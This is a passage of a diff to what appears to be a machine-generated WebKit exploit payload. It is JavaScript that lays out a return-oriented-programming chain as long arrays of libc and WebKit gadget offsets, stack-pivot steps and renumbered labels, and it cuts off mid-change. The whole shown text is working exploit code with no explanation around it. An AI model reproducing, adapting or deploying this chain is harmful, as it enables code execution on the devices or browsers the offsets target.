rsi libc_base+793877, //pop rsi -ropchain+327680, //L6143 +ropchain+323768, //L5895 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+327664, //L6142 +ropchain+323752, //L5893 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6142: +//L5893: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6143: +//L5895: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+327848, //L6146 +ropchain+323936, //L5898 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+327864, //L6147 +ropchain+323952, //L5899 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+327816, //L6144 +ropchain+323920, //L5896 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+327832, //L6145 +ropchain+323904, //L5897 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6144: +//L5897: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6145: +//L5896: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6146: +//L5898: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6147: +//L5899: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+327960, //L6149 +ropchain+324048, //L5901 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+327944, //L6148 +ropchain+324032, //L5900 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6148: +//L5900: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6149: +//L5901: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44648,7 +43791,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6150: +//L5902: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44657,7 +43800,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6151: +//L5903: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44666,7 +43809,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L6152: +//L5904: db([28, 0]); // 0x1c set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44674,8 +43817,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6154: -ropchain+328208, //L6153 +//L5906: +ropchain+324296, //L5905 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -44683,8 +43826,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+392664, //L5892 -//L6153: +ropchain+396232, //L5649 +//L5905: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -44692,40 +43835,40 @@ db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+328344, //L6156 +ropchain+324432, //L5908 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+328360, //L6157 +ropchain+324448, //L5909 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+328328, //L6155 +ropchain+324416, //L5907 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6155: +//L5907: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6156: +//L5908: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6157: +//L5909: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+328456, //L6159 +ropchain+324544, //L5911 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+328440, //L6158 +ropchain+324528, //L5910 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6158: +//L5910: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6159: +//L5911: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44734,14 +43877,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+328552, //L6161 +ropchain+324640, //L5913 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6160: +//L5912: db([4294965208, 4294967295]); // -0x828 set_gadget(libc_base+788575,); //pop rax -//L6161: +//L5913: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -44751,22 +43894,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+328632, //L6162 +ropchain+324720, //L5914 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6162: +//L5914: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+328688, //L6165 +ropchain+324776, //L5916 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6165: +//L5916: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -44774,102 +43917,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+328784, //L6168 +ropchain+324856, //L5918 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6166: -db([4294965196, 4294967295]); // -0x834 -set_gadget(libc_base+792472,); //pop rcx -//L6168: +//L5918: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5919: +db([4294965200, 4294967295]); // -0x830 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+328888, //L6171 +ropchain+324976, //L5923 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+328872, //L6170 +ropchain+324960, //L5921 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6170: +//L5921: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6171: +//L5923: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+329056, //L6174 +ropchain+325144, //L5926 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+329072, //L6175 +ropchain+325160, //L5927 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+329024, //L6172 +ropchain+325128, //L5924 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+329040, //L6173 +ropchain+325112, //L5925 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6172: +//L5925: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6173: +//L5924: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6174: +//L5926: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6175: +//L5927: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+329232, //L6179 +ropchain+325320, //L5931 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+329184, //L6176 +ropchain+325272, //L5929 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+329216, //L6178 +ropchain+325304, //L5930 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6176: +//L5929: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6177: +//L5928: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L6178: +//L5930: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6179: +//L5931: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+329304, //L6180 +ropchain+325392, //L5932 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+329320, //L6181 +ropchain+325408, //L5933 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6180: +//L5932: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6181: +//L5933: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -44880,44 +44023,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+329408, //L6182 +ropchain+325496, //L5934 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6182: +//L5934: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+329464, //L6185 +ropchain+325552, //L5936 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6185: +//L5936: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+329536, //L6186 +ropchain+325624, //L5938 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6186: +//L5938: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+329592, //L6189 +ropchain+325680, //L5940 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6189: +//L5940: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -44928,17 +44071,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+329696, //L6190 +ropchain+325784, //L5942 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+329712, //L6191 +ropchain+325800, //L5943 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6190: +//L5942: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6191: +//L5943: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -44949,130 +44092,130 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+329864, //L6193 +ropchain+325952, //L5945 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+329880, //L6194 +ropchain+325968, //L5946 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+329848, //L6192 +ropchain+325936, //L5944 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6192: +//L5944: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6193: +//L5945: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6194: +//L5946: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+329984, //L6197 +ropchain+326056, //L5947 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+330000, //L6198 +ropchain+326088, //L5950 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6195: -db([4294965204, 4294967295]); // -0x82c -set_gadget(libc_base+792472,); //pop rcx -//L6197: +//L5947: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5948: +db([4294965204, 4294967295]); // -0x82c set_gadget(libc_base+206806,); //pop rdi -//L6198: +//L5950: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+330064, //L6201 +ropchain+326152, //L5952 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6201: +//L5952: db([0, 0]); // 0x0 -//L6199: +//L5951: set_gadgets([ libc_base+793877, //pop rsi -ropchain+330128, //L6204 +ropchain+326200, //L5954 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6202: -db([4294965196, 4294967295]); // -0x834 -set_gadget(libc_base+792472,); //pop rcx -//L6204: +//L5954: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5955: +db([4294965200, 4294967295]); // -0x830 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+330232, //L6207 +ropchain+326320, //L5959 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+330216, //L6206 +ropchain+326304, //L5957 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6206: +//L5957: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6207: +//L5959: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+330400, //L6210 +ropchain+326488, //L5962 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+330416, //L6211 +ropchain+326504, //L5963 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+330368, //L6208 +ropchain+326472, //L5960 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+330384, //L6209 +ropchain+326456, //L5961 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6208: +//L5961: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6209: +//L5960: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6210: +//L5962: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6211: +//L5963: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+330512, //L6213 +ropchain+326600, //L5965 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+330496, //L6212 +ropchain+326584, //L5964 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6212: +//L5964: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6213: +//L5965: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -45080,38 +44223,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+330600, //L6215 +ropchain+326688, //L5967 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6214: +//L5966: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6215: +//L5967: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+330672, //L6218 +ropchain+326744, //L5968 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6216: -db([4294965196, 4294967295]); // -0x834 -set_gadget(libc_base+792472,); //pop rcx -//L6218: +//L5968: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L5969: +db([4294965200, 4294967295]); // -0x830 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+330736, //L6219 +ropchain+326824, //L5971 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6219: +//L5971: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -45121,158 +44264,80 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+326248, //L6104 -//L6137: +ropchain+322336, //L5856 +//L5889: libc_base+793877, //pop rsi -ropchain+330848, //L6223 +ropchain+326920, //L5973 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L6221: -db([4294965200, 4294967295]); // -0x830 -set_gadget(libc_base+792472,); //pop rcx -//L6223: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+330952, //L6226 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+330936, //L6225 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6225: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L6226: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191169, //mov eax, [rdi] -libc_base+793877, //pop rsi -ropchain+331120, //L6229 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+331136, //L6230 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+331088, //L6227 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+331104, //L6228 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L6227: -db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L6228: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L6229: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L6230: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+331232, //L6232 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+331216, //L6231 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L6231: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L6232: +//L5973: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+331328, //L6235 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L6233: +//L5974: db([4294965204, 4294967295]); // -0x82c -set_gadget(libc_base+792472,); //pop rcx -//L6235: -db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+331432, //L6238 +ropchain+327040, //L5978 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+331416, //L6237 +ropchain+327024, //L5976 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6237: +//L5976: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6238: +//L5978: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+331600, //L6241 +ropchain+327208, //L5981 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+331616, //L6242 +ropchain+327224, //L5982 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+331568, //L6239 +ropchain+327192, //L5979 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+331584, //L6240 +ropchain+327176, //L5980 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6239: +//L5980: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6240: +//L5979: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6241: +//L5981: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6242: +//L5982: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+331712, //L6244 +ropchain+327320, //L5984 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+331696, //L6243 +ropchain+327304, //L5983 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6243: +//L5983: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6244: +//L5984: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -45280,8 +44345,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6246: -ropchain+398120, //L6245 +//L5986: +ropchain+397944, //L5985 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -45289,8 +44354,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6248: -ropchain+331864, //L6247 +//L5988: +ropchain+327472, //L5987 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -45298,301 +44363,307 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6247: +ropchain+159840, //_printf_ +//L5987: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); -db([4294967272, 4294967295]); // -0x18 +db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L6250: +//L5989: db([0, 0]); // 0x0 set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+331976, //L6252 +ropchain+327584, //L5992 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6251: +//L5991: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6252: +//L5992: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332048, //L6254 +ropchain+327656, //L5994 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6253: +//L5993: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6254: +//L5994: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332120, //L6256 +ropchain+327728, //L5996 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6255: +//L5995: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6256: +//L5996: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332192, //L6258 +ropchain+327800, //L5998 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6257: +//L5997: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6258: +//L5998: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332264, //L6260 +ropchain+327872, //L6000 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6259: +//L5999: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6260: +//L6000: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332336, //L6262 +ropchain+327944, //L6002 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6261: +//L6001: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6262: +//L6002: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332408, //L6264 +ropchain+328016, //L6004 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6263: +//L6003: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6264: +//L6004: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332480, //L6266 +ropchain+328088, //L6006 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6265: +//L6005: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6266: +//L6006: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332552, //L6268 +ropchain+328160, //L6008 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6267: +//L6007: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6268: +//L6008: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332624, //L6270 +ropchain+328232, //L6010 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6269: +//L6009: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6270: +//L6010: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332696, //L6272 +ropchain+328304, //L6012 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6271: +//L6011: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6272: +//L6012: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332768, //L6274 +ropchain+328376, //L6014 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6273: +//L6013: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6274: +//L6014: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi +libc_base+50775, //mov rax, rdi +libc_base+792472 //pop rcx +]); +//L6015: +db([0, 0]); // 0x0 +set_gadgets([ webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332840, //L6276 +ropchain+328472, //L6018 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6275: +//L6017: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6276: +//L6018: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+332912, //L6278 +ropchain+328544, //L6020 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6277: +//L6019: db([1, 0]); // 0x1 